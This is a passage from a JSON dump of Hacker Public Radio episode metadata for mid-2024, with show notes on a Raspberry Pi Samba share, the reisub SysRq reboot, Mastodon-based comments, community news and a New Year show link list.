                                                            \n","hostid":296,"series":0,"explicit":0,"license":"CC-BY-SA","tags":"Pi,Gaming,retro","version":0,"downloads":0,"valid":1}, {"id":4128,"date":"2024-05-29","title":"30 years of the internet","duration":1864,"summary":"Knight wise looks back at 30 years online and how the Internet has changed his life","notes":"

                                                            A show with stories on how I found the Internet and the connections\nbrought me with other people I've changed my life.

                                                            \n","hostid":111,"series":0,"explicit":0,"license":"CC-BY-SA","tags":"internet,","version":0,"downloads":0,"valid":1}, {"id":4129,"date":"2024-05-30","title":"How I found Hacker Public Radio","duration":246,"summary":"Another podcast led me to Hacker Public Radio. ","notes":"

                                                            The reason I found HPR can be traced back to the 1990's when I first\nheard about Linux and I got interested in Linux. But it was not until\nten years ago that I actually started to try Linux for real. A friend\nwas enthusiastic about Linux. Although he did not have a computer\nhimself, he made CD copies of multiple Linux distributions and gave to\nme. And it happened more than once.

                                                            \n

                                                            At this time I was on macOS on a macMini. But I also had a cheap\nlaptop with Windows 10 for a few programs. That laptop was too cheap\nwith too little memory and soon, despite it was not old, it could not\nmanage to keep Windows updated, it had too little memory even without\nadditional software: 32 GB hard drive and 2 GB RAM. So, this was the\ndriver to install Linux for real. I installed Linux Mint. And the laptop\nwas now usable again, with an updated operating system.

                                                            \n

                                                            My interest in Linux Mint led me to start listen to the pod Mintcast\nsome years ago.

                                                            \n

                                                            One of the hosts of Mintcast was also an HPR correspondent, and in\nhis presentation of himself at every pod episode he told he gave shows\nat HPR and shared his ID number.

                                                            \n

                                                            Every Mintcast pod episode also had acknowledgements where Mintcast\nthanked HPR for letting them use the HPR Mumble server.

                                                            \n

                                                            At the end of each year, Mintcast also sends the jingle for the HPR\nNew year show where everyone is welcome to live chat or just listen.

                                                            \n

                                                            I know I have tuned in and listened to the New year show. Eventually\nI also listened to one or another show in earlier years.

                                                            \n

                                                            When Mintcast this year, 2024, has talked about Hacker Public Radio\nthey have mentioned it was low on episodes and encouraged Mintcast\nlisteners to contribute.

                                                            \n

                                                            It was after this I finally started to become a regular listener to\nHacker Public Radio and at the same time recorded my first show.

                                                            \n

                                                            I like HPR for its community based host approach.
                                                            \nI like that shows mostly have the Creative Commons\nAttribution-ShareAlike 4.0 International (CC BY-SA 4.0) license.
                                                            \nI like the concept of knowledge and experience sharing.
                                                            \nI like that the content is what matters most, the equipment and\npresentation skills are of less importance.
                                                            \nI like the monthly community shows with feedback and review of shows and\ncomments.
                                                            \nI like the occasional comments to my shows and my possibility to comment\nother shows on the website.

                                                            \n

                                                            That is how my journey with Hacker Public Radio started.

                                                            \n","hostid":429,"series":0,"explicit":0,"license":"CC-BY-SA","tags":"Hacker Public Radio, HPR, MintCast, podcast","version":0,"downloads":0,"valid":1}, {"id":4130,"date":"2024-05-31","title":"Playing Civilization III, Part 3","duration":1186,"summary":"We continue to look at the details of playing this game.","notes":"

                                                            This continues our look at the details of playing Civilization III.\nHere we move into a discussion of the Expansion Phase, how to improve\nyour cities, whether or not to build Wonders, the role of Technologies,\nand finally the different Victory types.

                                                            \n

                                                            Links:

                                                            \n\n","hostid":198,"series":122,"explicit":0,"license":"CC-BY-SA","tags":"Computer games, strategy games, Civilization III","version":0,"downloads":0,"valid":1}, {"id":4131,"date":"2024-06-03","title":"HPR Community News for May 2024","duration":6555,"summary":"HPR Volunteers talk about shows released and comments posted in May 2024","notes":"\n\n

                                                            New hosts

                                                            \n

                                                            \nWelcome to our new host:
                                                            \n\n Moss Bliss.\n

                                                            \n\n

                                                            Last Month's Shows

                                                            \n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n
                                                            IdDayDateTitleHost
                                                            4108Wed2024-05-01What's in my bagswift110
                                                            4109Thu2024-05-02The future of HPR knightwise
                                                            4110Fri2024-05-03Playing Civilization III, Part 2Ahuka
                                                            4111Mon2024-05-06HPR Community News for April 2024HPR Volunteers
                                                            4112Tue2024-05-07JSON and VENDORS and AUTH ohh my!operat0r
                                                            4113Wed2024-05-08Today I Learnt, sed hold/pattern space use.Some Guy On The Internet
                                                            4114Thu2024-05-09Introduction to jq - part 2Dave Morriss
                                                            4115Fri2024-05-10Tagging music with Beetsdnt
                                                            4116Mon2024-05-13Response to 4109: Building community without SEOhobs
                                                            4117Tue2024-05-14JAMBOREE !operat0r
                                                            4118Wed2024-05-15Toil versus Livelihooddnt
                                                            4119Thu2024-05-16Cov's Jams 003Cov
                                                            4120Fri2024-05-17South Carolina to HomeAhuka
                                                            4121Mon2024-05-20RODE wireless microphonesClinton Roy
                                                            4122Tue2024-05-21The Conference for Creative Use of the Radio Spectrum in Open SystemsKen Fallon
                                                            4123Wed2024-05-22KeepassXC UpdateSome Guy On The Internet
                                                            4124Thu2024-05-23Developing a projectLee
                                                            4125Fri2024-05-24Installing Home Assistant Operating System (HAOS), on a x86-64 machineKen Fallon
                                                            4126Mon2024-05-27Podcasting for NewbiesMoss Bliss
                                                            4127Tue2024-05-28Retro fun with the GPi 2 casesKevie
                                                            4128Wed2024-05-2930 years of the internetknightwise
                                                            4129Thu2024-05-30How I found Hacker Public RadioHenrik Hemrin
                                                            4130Fri2024-05-31Playing Civilization III, Part 3Ahuka
                                                            \n\n

                                                            Comments this month

                                                            \n\n

                                                            These are comments which have been made during the past month, either to shows released during the month or to past shows.\nThere are 25 comments in total.

                                                            \n

                                                            Past shows

                                                            \n

                                                            There is 1 comment on\n1 previous show:

                                                            \n
                                                              \n
                                                            • hpr4087\n(2024-04-02) \"Getting started with the digiKam photo management software\"\nby Henrik Hemrin.
                                                              \n
                                                            • \n
                                                                \n
                                                              • \nComment 1:\nHenrik Hemrin on 2024-05-13:\n\"Good support from digiKam developers and community\"

                                                              \n
                                                            \n

                                                            This month's shows

                                                            \n

                                                            There are 24 comments on 7 of this month's shows:

                                                            \n
                                                            • hpr4109\n(2024-05-02) \"The future of HPR \"\nby knightwise.
                                                            • \n
                                                            • \n
                                                              • Comment 1:\nDirk on 2024-05-02:\n\"The future about HPR\"
                                                              • Comment 2:\nKen Fallon on 2024-05-02:\n\"Thanks for volunteering\"
                                                              • Comment 3:\nKnightwise on 2024-05-04:\n\"Alt Hoeselt Calling :)\"
                                                              • Comment 4:\nknightwise on 2024-05-04:\n\"Hacker Public Radio as \"brown noise?\"\n\"
                                                              • Comment 5:\nmpardo on 2024-05-04:\n\"Interesting episode\"
                                                              • Comment 6:\nenistello on 2024-05-05:\n\"The future of HPR\"
                                                              • Comment 7:\nKen Fallon on 2024-05-06:\n\"Active for a given value of active.\"
                                                              • Comment 8:\nKen Fallon on 2024-05-06:\n\"On proprietary platforms\"

                                                              \n
                                                            • hpr4112\n(2024-05-07) \"JSON and VENDORS and AUTH ohh my!\"\nby operat0r.
                                                            • \n
                                                            • \n
                                                              • Comment 1:\nKen Fallon on 2024-05-31:\n\"The answer is always jq\"

                                                              \n
                                                            • hpr4115\n(2024-05-10) \"Tagging music with Beets\"\nby dnt.
                                                            • \n
                                                            • \n
                                                              • Comment 1:\nkdmurray on 2024-05-16:\n\"Just what the doctor ordered\"

                                                              \n
                                                            • hpr4116\n(2024-05-13) \"Response to 4109: Building community without SEO\"\nby hobs.
                                                            • \n
                                                            • \n
                                                              • Comment 1:\nKnightwise on 2024-05-13:\n\"Just a small correction.\"
                                                              • Comment 2:\nkdmurray on 2024-05-13:\n\"Ok but...\"
                                                              • Comment 3:\nKen Fallon on 2024-05-15:\n\"Actual Actions ?\"
                                                              • Comment 4:\nknightwise on 2024-05-17:\n\"Low hanging fruit\"
                                                              • Comment 5:\nnorrist on 2024-05-19:\n\"Mastodon Comments\"

                                                              \n
                                                            • hpr4118\n(2024-05-15) \"Toil versus Livelihood\"\nby dnt.
                                                            • \n
                                                            • \n
                                                              • Comment 1:\nBob on 2024-05-15:\n\"We want free time but what we get is more less paid toil\"
                                                              • Comment 2:\nkdmurray on 2024-05-16:\n\"Deep Thought\"
                                                              • Comment 3:\nKevin O'Brien on 2024-05-18:\n\"Bravo!\"
                                                              • Comment 4:\nLaindir on 2024-05-20:\n\"Half the problem\"
                                                              • Comment 5:\ndnt on 2024-05-21:\n\"Re: Laindir\"
                                                              • Comment 6:\ndnt on 2024-05-21:\n\"Re: kdmurray\"

                                                              \n
                                                            • hpr4124\n(2024-05-23) \"Developing a project\"\nby Lee.
                                                            • \n
                                                            • \n
                                                              • Comment 1:\nTrey on 2024-05-23:\n\"Not now... another time.\"
                                                              • Comment 2:\ndnt on 2024-05-25:\n\"projects\"

                                                              \n
                                                            • hpr4128\n(2024-05-29) \"30 years of the internet\"\nby knightwise.
                                                            • \n
                                                            • \n
                                                              • Comment 1:\nzen_floater on 2024-05-30:\n\"WVDiAL\"

                                                              \n
                                                            \n\n

                                                            Mailing List discussions

                                                            \n

                                                            \nPolicy decisions surrounding HPR are taken by the community as a whole. This\ndiscussion takes place on the Mail List which is open to all HPR listeners and\ncontributors. The discussions are open and available on the HPR server under\nMailman.\n

                                                            \n

                                                            The threaded discussions this month can be found here:

                                                            \nhttps://lists.hackerpublicradio.com/pipermail/hpr/2024-May/thread.html\n\n\n

                                                            Events Calendar

                                                            \n

                                                            With the kind permission of LWN.net we are linking to\nThe LWN.net Community Calendar.

                                                            \n

                                                            Quoting the site:

                                                            \n
                                                            This is the LWN.net community event calendar, where we track\nevents of interest to people using and developing Linux and free software.\nClicking on individual events will take you to the appropriate web\npage.
                                                            \n\n

                                                            Any other business

                                                            \n

                                                            Proposed policy change

                                                            \n
                                                              \n
                                                            • In the past month we were asked to remove a show that had been added\nto the database, and uploaded to archive.org. This was done, but:\n
                                                                \n
                                                              • The amount of work to do this type of change is not trivial.
                                                              • \n
                                                              • It's not possible to remove archive.org items, only to remove their\ncontents and replace them with whatever comes from the replacement\nshow.
                                                              • \n
                                                              • The processes involved in this deletion and replacement are not\ncomplex but are somewhat labour-intensive.
                                                              • \n
                                                              • There are ramifications into existing feeds (podcast players cache\nepisode details and do not replace them, etc).
                                                              • \n
                                                            • \n
                                                            • It is proposed that the policy be changed to discourage this, except\nin severe cases - perhaps those with copyright or other legal\nconsequences. Obviously, we normally take great care that incoming shows\nare unlikely to trigger such problems in the first place.
                                                            • \n
                                                            \n

                                                            The Future Feed

                                                            \n
                                                              \n
                                                            • There is a feed which is normally referred to as the \"Future Feed\",\nwhich can be found on the RSS Syndication\npage. It receives shows which are posted out of order as they come\nin and may be replaced/reposted if errors are found. This is intended as\na means to find issues with metadata or the audio quality of new shows\nbefore they hit the main feed.

                                                            • \n
                                                            • Recently a show was posted to this feed which was truncated.\nUnfortunately, although the Janitors and a number or listeners follow\nthis feed, this truncation was not spotted until the show was\nreleased.

                                                            • \n
                                                            • It would be much appreciated if you could assist with watching this feed for\nerrors in the future. Please contact the Janitors if you notice\nanything.

                                                            • \n
                                                            \n

                                                            Janitorial Team

                                                            \n
                                                              \n
                                                            • We have had some recent contributions to the development of the HPR\nsoftware from norrist and kdmurray. We also\nadded them to the \"HPR Janitor's Closet\" on Matrix to speed up\ndiscussions about open tickets. If anyone else wishes to help out with\nthe development please do so by creating an account on our Gitea server.
                                                            • \n
                                                            \n

                                                            Denial of\nService Attacks on the Internet Archive

                                                            \n
                                                              \n
                                                            • There have been a number of DDoS attacks on this service in the\nrecent past. Jason Scott (@textfiles@mastodon.archive.org),\nFree-Range Archivist at the Internet Archive, has been\nmentioning this on Mastodon.

                                                            • \n
                                                            • These attacks mean that we can sometimes be delayed when we need\nto upload shows to the IA.

                                                            • \n
                                                            \n

                                                            \n\n\n","hostid":159,"series":47,"explicit":1,"license":"CC-BY-SA","tags":"Community News","version":0,"downloads":0,"valid":1}, {"id":4132,"date":"2024-06-04","title":"Urandom talks about the future of HPR","duration":2555,"summary":"The Urandom lads talk in circles for about an hour about HPR","notes":"

                                                            The Urandom lads talk in\ncircles for about an hour about HPR.

                                                            \n","hostid":270,"series":0,"explicit":1,"license":"CC-BY-SA","tags":"Hacker Public Radio","version":0,"downloads":0,"valid":1}, {"id":4133,"date":"2024-06-05","title":"Mastodon as a way to comment to HPR episodes","duration":1180,"summary":"norrist discusses commenting on the hpr mastodon bot's post","notes":"

                                                            Mastodon as a way\nto comment to HPR episodes

                                                            \n

                                                            Prompted by Knightwise

                                                            \n
                                                              \n
                                                            • I should be easier for listeners to discuss shows.
                                                            • \n
                                                            • There have been several times I have intended to leave a comment on\na show, but I forget by the time I get back to my PC
                                                            • \n
                                                            • Mastodon is made for community interaction.
                                                            • \n
                                                            • If you are active on mastodon, replying to a mastodon post is\nprobably easier than the HPR comment form.
                                                            • \n
                                                            \n

                                                            HPR Bot

                                                            \n
                                                              \n
                                                            • HPR has a mastodon bot that makes a post when a new show is\nreleased
                                                            • \n
                                                            • The Bot's post and replies can be used as a comment system for\nHPR
                                                            • \n
                                                            • https://botsin.space/@hpr
                                                            • \n
                                                            \n

                                                            Easy\nMethods to including Mastodon on a static page

                                                            \n
                                                              \n
                                                            • Each post has an embed link, but it does not include replies.
                                                            • \n
                                                            • JavaScript can be used to display the post and replies\n
                                                                \n
                                                              • Example\nhttps://carlschwan.eu/2020/12/29/adding-comments-to-your-static-blog-with-mastodon/
                                                              • \n
                                                              • Carl Schwan - KDE developer
                                                              • \n
                                                            • \n
                                                            • Neither of these is ideal
                                                            • \n
                                                            \n

                                                            Mastodon API

                                                            \n
                                                              \n
                                                            • Mastodon has an API that can be used to pull a list of status\nupdates.
                                                            • \n
                                                            • The comments can be pulled from the API and added to the static\nsite.
                                                            • \n
                                                            \n

                                                            Proof of concept

                                                            \n
                                                              \n
                                                            • HPR site using RSS feeds as the data source
                                                            • \n
                                                            • https://gitlab.com/norrist/hprfeed2db\n
                                                                \n
                                                              • Full episode feed
                                                              • \n
                                                              • Comments feed.
                                                              • \n
                                                              • HPR Episodes 3637 and 3654\n
                                                                  \n
                                                                • https://hpr.norrist.xyz/episodes/HPR3637.html
                                                                • \n
                                                                • https://hpr.norrist.xyz/episodes/HPR3654.html
                                                                • \n
                                                              • \n
                                                            • \n
                                                            • Add a new step to pull in the HPR Bot post replies as comments.
                                                            • \n
                                                            • As a demo https://hpr.norrist.xyz will have mastodon comments on\nrecent episode pages.
                                                            • \n
                                                            \n

                                                            get_mastodon_comments.py

                                                            \n
                                                              \n
                                                            • load_comments_from_bot()\n
                                                                \n
                                                              • look for status updates regex\n\"New Episode: hpr(\\d+) :: \"
                                                              • \n
                                                            • \n
                                                            • get_thread_comments()\n
                                                                \n
                                                              • builds list of descendants - aka comments
                                                              • \n
                                                            • \n
                                                            • update_db()\n
                                                                \n
                                                              • loops through list of comments
                                                              • \n
                                                              • extracts - author, content, , pubdate, ...
                                                              • \n
                                                              • inserts into sqlite database along with data from full episode and\ncomment feeds.
                                                              • \n
                                                            • \n
                                                            • HTML template displays mastodon comments underneath the comments\nfrom the comment RSS feed.
                                                            • \n
                                                            \n

                                                            Mastodon Comment Moderation

                                                            \n
                                                              \n
                                                            • I didn't implement any moderation, but there are a few possible ways\nto do so\n
                                                                \n
                                                              1. Maintain a list of approved contributors. When an\nunapproved commenter posts\n
                                                                  \n
                                                                • notify the admin that there are comments by a new commenter
                                                                • \n
                                                                • skip adding any comments to the database until the commenter is\nadded to the approve list
                                                                • \n
                                                              2. \n
                                                              3. Maintain a list of approved comments\n
                                                                  \n
                                                                • comments have unique id
                                                                • \n
                                                                • Add approved comment ID to a database
                                                                • \n
                                                                • Only display approved comments.
                                                                • \n
                                                              4. \n
                                                            • \n
                                                            \n

                                                            Going Forward

                                                            \n
                                                              \n
                                                            • Even without including mastodon comments on the HPR Page
                                                            • \n
                                                            • Increase awareness of HPR on Mastodon\n
                                                                \n
                                                              1. Follow the HPR bot on mastodon.
                                                              2. \n
                                                              3. Tag yourself when one of your shows is posted by the HPR.
                                                              4. \n
                                                              5. Add your mastodon account to your HPR profile / show notes.
                                                              6. \n
                                                              7. Comment on the HPR bots mastodon post.
                                                              8. \n
                                                            • \n
                                                            \n

                                                            Links

                                                            \n
                                                              \n
                                                            • My mastodon account - https://noc.social/@norrist
                                                            • \n
                                                            • Python to get mastodon comments -\nhttps://gitlab.com/norrist/hprfeed2db/-/blob/main/get_mastdon_comments.py
                                                            • \n
                                                            • Example page with Mastodon Comments -\nhttps://hpr.norrist.xyz/episodes/HPR4126.html\n
                                                                \n
                                                              • This page may not have any mastodon comments depending on when you\ncheck the page.
                                                              • \n
                                                              • Check a more recent page if there are no mastodon comments.
                                                              • \n
                                                            • \n
                                                            \n","hostid":342,"series":0,"explicit":0,"license":"CC-BY-SA","tags":"python, mastodon, hpr","version":0,"downloads":0,"valid":1}, {"id":4134,"date":"2024-06-06","title":"Goodbye Craig Maloney. ","duration":4324,"summary":"Remembering a friend","notes":"

                                                            Craig S. Maloney age 52 of Madison Heights formerly of Royal Oak,\npassed away on Tuesday, April 2, 2024 at his residence with his family\nat his side.

                                                            \n

                                                            It was with great sadness that I heard of the passing of Craig\nMaloney.

                                                            \n

                                                            We knew him through his podcast https://openmetalcast.com, which is a member of the https://freeculturepodcasts.org/ Creative Commons\npodcasts.

                                                            \n

                                                            Our thoughts go out to his Family and Friends.

                                                            \n\n","hostid":30,"series":0,"explicit":1,"license":"CC-BY-NC-SA","tags":"cmaloney, pepperandcarrot, OpenMetalCast","version":0,"downloads":0,"valid":1}, {"id":4135,"date":"2024-06-07","title":"Mining the web","duration":914,"summary":"In this episode I talk a bit about a project I have been working on to index the web. ","notes":"

                                                            I don't have shownotes for this one. Sorry for that.

                                                            \n

                                                            Please refer to the transcript for more information.

                                                            \n","hostid":387,"series":0,"explicit":1,"license":"CC-BY-SA","tags":"docker, redis, hacking, mongodb, scraping, dns, certificate-transparency","version":0,"downloads":0,"valid":1}, {"id":4136,"date":"2024-06-10","title":"Pi Samba Share","duration":776,"summary":"Setting up a Samba share on your Pi for when your streaming services are down","notes":"

                                                            We live in a time where everything is streamed; from our TV, radio,\npodcasts everything is fine until the internet goes down. Gone are the\ndays of simply turning on the TV with a set top aerial. With this in\nmind, I set up an old Raspberry Pi 2 and connected it to use as a video\nand music server through a Samba share.

                                                            \n

                                                            To complete this task you will need:

                                                            \n
                                                              \n
                                                            • A Raspberry Pi
                                                            • \n
                                                            • A micro-SD card
                                                            • \n
                                                            • An Ethernet cable
                                                            • \n
                                                            • An external hard drive (min 2TB recommended)
                                                            • \n
                                                            \n

                                                            Step 1: Update your Pi software in the terminal:

                                                            \n
                                                            sudo apt update && sudo apt upgrade
                                                            \n

                                                            Step 2: To allow us to share our files over a network we will install\nSamba:

                                                            \n
                                                            sudo apt install samba
                                                            \n

                                                            Step 3: To find UUID and the file system of the drive, enter:

                                                            \n
                                                            sudo blkid
                                                            \n

                                                            Ignore the line with fat32, this is your Micro-SD\ncard.

                                                            \n

                                                            Step 4: We need to mount this drive automatically whenever the\nRaspberry Pi is switched on. Firstly, we'll need to create a location to\nmount the external hard drive, we can do this by using the command:

                                                            \n
                                                            sudo mkdir /media/external
                                                            \n

                                                            Step 5: Now we need to edit the fstab to tell the Raspberry Pi to\nautomount the external drive every time it is switched on

                                                            \n
                                                            sudo nano /etc/fstab
                                                            \n

                                                            Insert the following line at the bottom of the page:

                                                            \n
                                                            UUID="{the UUID you noted down in step 3}"     /media/external   {type noted in step 3}     auto,user,rw      0     0
                                                            \n

                                                            The above should all be on one line, pressing the tab key to create a\ngap between each piece of information.

                                                            \n

                                                            Step 6: Now we need to set up which folders are going to be shared.\nI'll assume that we are going to make the whole of the external drive\navailable over the network

                                                            \n
                                                            sudo nano /etc/samba/smb.conf
                                                            \n

                                                            At the bottom of the page add the following, note that you can call\nthis anything you wish, just exchange the word external but you must\ninclude [ ]:

                                                            \n
                                                            [external]\npath = /media/external\navailable= yes\nbrowsable = yes\npublic = yes\nwritable = yes
                                                            \n

                                                            It's worth noting before we continue that I've set the option\nwritable = yes, this means that you can add to or remove\nthe contents of the external drive over the network. If you are not\ncomfortable having this option then simply change it to\nwritable = no. Now save and exit (ctrl + X), make sure that\nyou answer 'yes' to save your changes.

                                                            \n

                                                            Step 7: We will now set the Raspberry Pi to log in automatically on\nstartup, if the user Pi isn't logged in then all of things we've just\nset up will not work. Type:

                                                            \n
                                                            sudo nano /etc/inittab
                                                            \n

                                                            Navigate down to the line:

                                                            \n
                                                            1:2345:respawn:/sbin/getty --noclear 38400 tty1
                                                            \n

                                                            and add --autologin pi after getty to make\nthe line:

                                                            \n
                                                            1:2345:respawn:/sbin/getty --autologin pi --noclear 38400 tty1
                                                            \n

                                                            Save and exit (ctrl + X) make sure that you answer 'yes' to save\nit.

                                                            \n

                                                            Step 8: We can try it out our system and auto-login by using the\ncommand

                                                            \n
                                                            sudo reboot
                                                            \n

                                                            Assuming that everything goes well, your system should be up and\nrunning. Try and find it on a computer through the file manager. I\npersonally recommend saving the Pi location on Kodi for an easy to use\nsolution for browsing your media on a TV.

                                                            \n","hostid":296,"series":0,"explicit":0,"license":"CC-BY-SA","tags":"Pi,media,server,samba","version":0,"downloads":0,"valid":1}, {"id":4137,"date":"2024-06-11","title":"I used reisub key sequence to reboot my frozen Linux computer","duration":204,"summary":"A frozen Linux computer can safely be rebooted with the reisub key sequence.","notes":"

                                                            In two earlier episodes I have been talking about digiKam photo\nmanagement software. I hope to come back to that topic in another\nepisode in the future. But not today.

                                                            \n

                                                            Today I will talk about what happened to me about two weeks ago.\nMaybe it was because I had used the hibernate state, which I rarely use,\nthat caused my laptop to behave somewhat strange. So I decided to turn\nit off. It was my Lenovo Thinkpad T460p laptop, running Linux Mint\nDebian Edition.

                                                            \n

                                                            So I turned it off the normal way with the soft button inside the\noperating system. But instead of power off I was shown a full terminal\nscreen with a lot of text what it was doing. But it never came to the\nconclusion to turn off.

                                                            \n

                                                            I have learned that in those situations, although tempting, that on\nLinux I should not force turn off with the physical mechanical power\nbutton. I have tried that before on another Linux laptop, and it was not\na success, rather the opposite.

                                                            \n

                                                            What I should do with Linux is to talk with electrodes directly to\nthe central brain, or in other words, call the Linux kernel with help of\na system request and by that sidestep the operating system.

                                                            \n

                                                            A System Request is done with the SysRq key on the keyboard. In this\nsituation I did the reisub key sequence with a system request:

                                                            \n

                                                            If I hold the System Request key together with the Alternate Alt key,\nand when still holding them down, I type the letters r, e, i, s, u and\nb, one by one in a very slow pace, I take seconds between them. Then I\nrelease all keys and the machine reboots.

                                                            \n

                                                            This was very successful for me and the laptop has since then worked\nas normal.

                                                            \n

                                                            I use an external full size keyboard that has a System Request\nkey.

                                                            \n

                                                            But not all laptops has such a key any more. System Request can be\nreached also on all or most of those laptops with some key combination.\nBut that key combination varies between manufacturers and models.

                                                            \n

                                                            In the show notes I add a link to a How to geek article about reisub\nas well as to Wikipedia about System Request:

                                                            \n
                                                              \n
                                                            • How-To Geek: Cleanly\nRestarting Your System. Use the Magic SysRq Key on Linux to Fix Frozen X\nServers, Cleanly Reboot, and Run Other Low-Level Commands

                                                            • \n
                                                            • Wikipedia: Magic SysRq\nkey

                                                            • \n
                                                            \n","hostid":429,"series":0,"explicit":0,"license":"CC-BY-SA","tags":"Linux, reisub, SysRq, System Request","version":0,"downloads":0,"valid":1}, {"id":4138,"date":"2024-06-12","title":"Linux Gaming: Factorio","duration":469,"summary":"A weekly show on which I talk about a game that I'm playing. Linux games only.","notes":"

                                                            This show is about gaming, more specifically gaming on Linux. This\nepisodes is about Factorio, a survival strategy game focusing on\nautomation. I currently don't have show notes to go with this show.

                                                            \n","hostid":387,"series":0,"explicit":0,"license":"CC-BY-SA","tags":"linux,gaming,factorio","version":0,"downloads":0,"valid":1}, {"id":4139,"date":"2024-06-13","title":"HPR New Years Eve Show 2023 - 24 ep 1","duration":7220,"summary":"The HPR community comes together to converse","notes":"

                                                            Linux Lugcast - https://linuxlugcast.com/

                                                            \n

                                                            Hacker Public Radio - https://hackerpublicradio.org/

                                                            \n

                                                            Reichsmark - https://en.wikipedia.org/wiki/Reichsmark

                                                            \n

                                                            7-11 convenience store - https://www.7-eleven.com/

                                                            \n

                                                            7-11 pizza - https://www.7-eleven.com/products/pizza

                                                            \n

                                                            Peanut butter sandwich - https://www.foodnetwork.com/recipes/photos/pb-and-yay-

                                                            \n

                                                            Cereal - https://en.wikipedia.org/wiki/Cereal

                                                            \n\n

                                                            Medicaid - https://www.medicaid.gov/

                                                            \n

                                                            Raspberry Pi - https://www.raspberrypi.com/

                                                            \n

                                                            MX Linux - https://mxlinux.org/

                                                            \n

                                                            MX Linux Pi OS Respin - https://mxlinux.org/blog/mx-23-1-raspberry-pi-os-respin/

                                                            \n

                                                            Raspberry Pi OS - https://www.raspberrypi.com/software/

                                                            \n

                                                            Chromium Browser - https://www.chromium.org/chromium-projects/

                                                            \n

                                                            Firefox Browser - https://www.mozilla.org/en-US/firefox/new/

                                                            \n

                                                            Raspberry Pi 400 - https://www.raspberrypi.com/products/raspberry-pi-400/

                                                            \n

                                                            How Many Open Browser Tabs Is Too Many Open Browser Tabs? - https://lifehacker.com/does-having-too-many-tabs-open-really-slow-down-your-br-1848554140

                                                            \n

                                                            HDMI - https://www.lifewire.com/hdmi-facts-high-definition-multimedia-interface-1847337

                                                            \n

                                                            VGA - https://www.howtogeek.com/821620/what-is-vga/

                                                            \n

                                                            RCA Connectors - https://www.cablethis.com/demystifying-rca-connectors-how-they-impact-your-audio-quality/

                                                            \n

                                                            Composite Video - https://www.lifewire.com/composite-video-the-basics-1846869

                                                            \n

                                                            CDC Pascal - https://standardpascal.org/CDC6000pascal.html

                                                            \n
                                                              \n
                                                            • https://exhibits.stanford.edu/stanford-pubs/catalog/sz874xb6118
                                                            • \n
                                                            \n

                                                            Xerox - https://www.xerox.com/en-us

                                                            \n

                                                            IBM - https://www.ibm.com/us-en

                                                            \n

                                                            Thailand Death Train - https://www.bordersofadventure.com/death-railway-kanchanaburi-thailand/

                                                            \n\n

                                                            West Virginia - https://www.wv.gov/Pages/default.aspx

                                                            \n\n

                                                            Mining Effects On Fishing - https://fisheries.org/policy-media/policy-statements/afs-policy-statement-13/

                                                            \n

                                                            Mining Land Remediation/Reclamation - https://www.epa.gov/remedytech/green-remediation-best-management-practices-mining-sites

                                                            \n\n

                                                            Kwai River - https://www.tripadvisor.com/Attraction_Review-g297924-d554151-Reviews-River_Kwai-Kanchanaburi_Kanchanaburi_Province.html

                                                            \n

                                                            Cassava - https://plants.usda.gov/DocumentLibrary/plantguide/pdf/pg_maes.pdf

                                                            \n
                                                              \n
                                                            • https://codycovefarm.com/plant-profile-cassava-manihot-esculenta/
                                                            • \n
                                                            \n

                                                            Sugar Cane - https://en.wikipedia.org/wiki/Sugar_Kane

                                                            \n

                                                            Rice - https://en.wikipedia.org/wiki/Rice

                                                            \n
                                                              \n
                                                            • https://www.foodnetwork.com/how-to/articles/how-to-make-perfect-rice-a-step-by-step-guide
                                                            • \n
                                                            \n

                                                            The story of the great Polish train hack - https://www.railway-technology.com/news/the-story-of-the-great-polish-train-hack/?cf-view

                                                            \n

                                                            CompuServe Headquarters turns 50 - https://abc6onyourside.com/news/local/historical-status-given-to-central-ohio-building-that-once-housed-compuserve

                                                            \n

                                                            Compuserve - https://www.compuserve.com/

                                                            \n\n

                                                            PDP-10 Computer - http://www.columbia.edu/cu/computinghistory/pdp10.html

                                                            \n

                                                            Linear Power Supply - https://www.tek.com/en/documents/application-note/understanding-linear-power-supply-specifications

                                                            \n

                                                            Switching Power Supply - https://www.eleccircuit.com/what-switching-power-supply-how-does-it-work/

                                                            \n

                                                            Asperger's Syndrome - https://www.autismspeaks.org/types-autism-what-asperger-syndrome

                                                            \n

                                                            DietPi - https://dietpi.com/

                                                            \n

                                                            Debian Linux - https://www.debian.org/

                                                            \n

                                                            XFCE - https://www.xfce.org/

                                                            \n

                                                            Systemd - https://www.digitalocean.com/community/tutorials/what-is-systemd

                                                            \n

                                                            MX-23 XFCE (Bookworm) - https://forums.raspberrypi.com/viewtopic.php?t=362478

                                                            \n

                                                            Thorium Web Browser - https://thorium.rocks/

                                                            \n

                                                            Waterfox Web Browser - https://www.waterfox.net/

                                                            \n

                                                            Group Speed Dial (FIrefox) - https://addons.mozilla.org/en-US/firefox/addon/groupspeeddial/

                                                            \n

                                                            Raspberry Pi 5 - https://www.raspberrypi.com/products/raspberry-pi-5/

                                                            \n

                                                            PDP-6 - http://pdp-6.net/

                                                            \n

                                                            MIT - https://web.mit.edu/

                                                            \n

                                                            MIT Early AI works - https://dspace.mit.edu/handle/1721.1/5460

                                                            \n

                                                            ZULU Time - https://www.timeanddate.com/worldclock/timezone/zulu

                                                            \n

                                                            Daylight Savings Time - https://www.reuters.com/world/us/what-is-us-daylight-saving-time-why-was-it-created-2023-10-31/

                                                            \n

                                                            Truck Driver Rules & Regulations - https://truckstop.com/blog/understanding-truck-driving-hours-and-regulations/

                                                            \n

                                                            Amphetamine - https://en.wikipedia.org/wiki/Amphetamine

                                                            \n

                                                            Men In Black - https://www.imdb.com/title/tt0119654/

                                                            \n

                                                            Cold War - https://www.britannica.com/event/Cold-War

                                                            \n

                                                            Pershing Ballastic Missle - https://www.lockheedmartin.com/en-us/news/features/history/pershing.html

                                                            \n

                                                            Pershing M26 Tank - https://tanks-encyclopedia.com/ww2/us/m26_pershing.php

                                                            \n

